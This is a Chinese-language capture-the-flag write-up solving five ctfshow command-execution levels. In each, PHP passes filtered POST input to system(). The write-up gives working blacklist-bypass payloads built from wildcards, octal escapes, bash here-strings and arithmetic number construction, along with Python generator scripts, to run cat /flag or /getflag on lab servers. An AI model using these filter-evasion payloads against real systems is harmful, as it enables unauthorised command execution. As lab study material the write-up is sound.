ctfshow 极限命令执行

发布时间 2023-06-19 23:16:30作者: TTkali

极限命令执行1

第一关

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}
?>

脚本fuzz一下初步剩下

! $ ' ( ) , . / 0 1 2 3 4 5 6 7 8 9 = ? \ a ~

脚本如下

<?php
for ($a = 0; $a < 256; $a++) {
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",chr($a))){
        echo (chr($a))." ";
    }
}
?>

通配符可成功读取

post:ctf_show=/?????a?

极限命令执行2

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?>

没有给出过滤表达式使用python脚本进行正则fuzz

import requests
url = "http://23913abf-9dea-4f31-9f13-5fdd2bd41059.challenge.ctf.show/"
fuzz = ""
for i in range(1,200):
    data = {
        "ctf_show":chr(i)
    }
    send = requests.post(url=url,data=data)
    if "??" in send.text:
        print()
    else:
        fuzz+=chr(i)

print(fuzz)
#!#$&'()0123456789<\_{}~

在bash中是可以执行十六进制和八进制

https://www.sojson.com/hexadecimal.html 在线转换地址

image-20230618184310830

这样子能执行但是没办法执行带参数的命令

image-20230618190357100

x进行了过滤转换成为八进制即可成功执行 getflag

在线转换地址:https://photo333.com/text-to-octal-zh.php

payload:

$'\57\147\145\164\146\154\141\147'

极限命令执行3

题目代码

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?>

fuzz后还剩下如下字符可以利用

image-20230618201940306

禁用了除了01以外的数字,这里需要理解bash对于整数的表示形式是[base#]n的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为2#100

image-20230619000301187

在现有条件下通过位移构造出任意数字

$((1<<1))
相当于 00000001 位移后变成 000000010  

image-20230619001146289

比如常规的id命令则是如下格式

$(($((1<<1))#10010111))$(($((1<<1))#10010000))
#八进制id 由十进制转换二进制得到
比如 八进制i为 151 则转换如下
https://photo333.com/text-to-octal-zh.php

image-20230619001458060

但是现在的情况还是无法执行

$'\151\144' 这样子形式可以成功执行

image-20230619002357742

$\'\\$(($((1<<1))#10010111))\\$(($((1<<1))#10010000))\'

这样子确实能解析成 $'\151\144' 但是bash 无法进行识别这里引入一个概念

command <<< string
command 是 Shell 命令,string 是字符串。将字符串通过标准输入,传递给命令
而官方解释则是如下
这里引入bash的一个语法<<<三个小于号(here-strings),语法:command [args] <<<["]$word["];$word会展开并作为command的stdin。
所以只要把这个字符串作为$0(bash)命令的stdin,就可以执行命令了,比如:
bash<<<$\'\\$(($((1<<1))#10010111))\\$(($((1<<1))#10010000))\'

image-20230619002757783

由于bash 是被过滤的可以使用

$0<<<$0来替代

image-20230619003235921

但是这样子又出现一个问题 id命令并没有携带任何参数如果出现太复杂命令则无法处理由于这题开始命令/getflag 被砍掉所以不得不使用 cat 命令这样子以来带了参数这种方法无法识别 bash 会识别成一个字符串并不会识别空格 我们可以通过两次here-strings的方法来解析复杂的带参数命令cat /flag

最终payload如下

$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
#斜杠那么多原因是为了进行转义

官方py脚本

import requests
#level3
cmd='cat /flag'
payload='$0<<<$0\\<\\<\\<\\$\\\''
for c in cmd:
        payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'
payload+='\\\''
print(payload)

极限命令执行4

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?>

fuzz后还剩下:!#$&'()0<_{}~对比上题就把一过滤了也就是说和上一个关卡差不多只需要特殊方法构造出1即可

image-20230619165445391

${##} 这样子可构造出1 第二个 #是代表字符串长度

image-20230619165621964

有了这个方法拿上一个payload稍微更改即可

cmd='cat /flag'

payload='$0<<<$0\\<\\<\\<\\$\\\''
for c in cmd:
        payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${##}')

payload+='\\\''
print(payload)


payload:ctf_show=$0<<<$0<<<$'\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\$(($((${##}<<${##}))#${##}0${##}00${##}00))\$(($((${##}<<${##}))#${##}0${##}000))\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\$(($((${##}<<${##}))#${##}00${##}00${##}0))\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))'

极限命令执行5

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?>

最基本的数字也没了

!$&'()<=\_{}~

没有了数字前面的bash也没办法进行使用查看官方wp 使用命令行进行测试,可以通过${!?}${!#}的形式拿到bash

image-20230619172340305

但是题目中属于php环境没办法进行执行

这里就不得不提到bash中感叹号妙用 https://cloud.tencent.com/developer/news/387476

! 符号在 Linux 中不但可以用作否定符号,还可以用来从历史命令记录中取出命令或不加修改的执行之前运行的命令

image-20230619172125915

所以仅能通过定义一个__=$(())的方式将__变量的值设置为0,然后通过${!__}的形式拿到sh字符。两条命令间通过&&进行连接。

image-20230619172755046

image-20230619172841994

image-20230619224529295

bash 有了现在只需要构造出数字即可 $(())是0 只需要按位取反即可

~操作,#被禁用,~是按位取反操作,我们可以通过$(())取到0,然后对0进行按位取反,可以得到-1,很多个-1进行排列 可以得到-2、-3、-4、-5、-6、-7、-8,然后再按位取反就可以得到1、2、3、4、5、6、7。

~n = -(n+1)
~5 = -(5+1),即~5 = -6

image-20230619230450337

有了前面构造的bash加上任意的数字最终payload如下

ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
#%26 =&

官方python脚本

#level5
import requests
url="http://15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show/"
cmd='cat /flag'

r = {}

x='$((~$(())))'#-1

for i in range(1,9):
        r[i]='$((~$(('+x
        for j in range(i):
                r[i]+=x
        r[i]+='))))'

r[0]='$(())'

payload='__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
        payload+='\\\\'
        for i in oct(ord(c))[2:]:
                payload+=r[int(i)]

payload+='\\\''


r=requests.post(url,data={"ctf_show":payload,})
print(r.text)

总结

第一次接触这种题目总能学到新东西感谢出题人以及互联网各种解析,题目抛砖引玉引人思考。一次很有意义的成长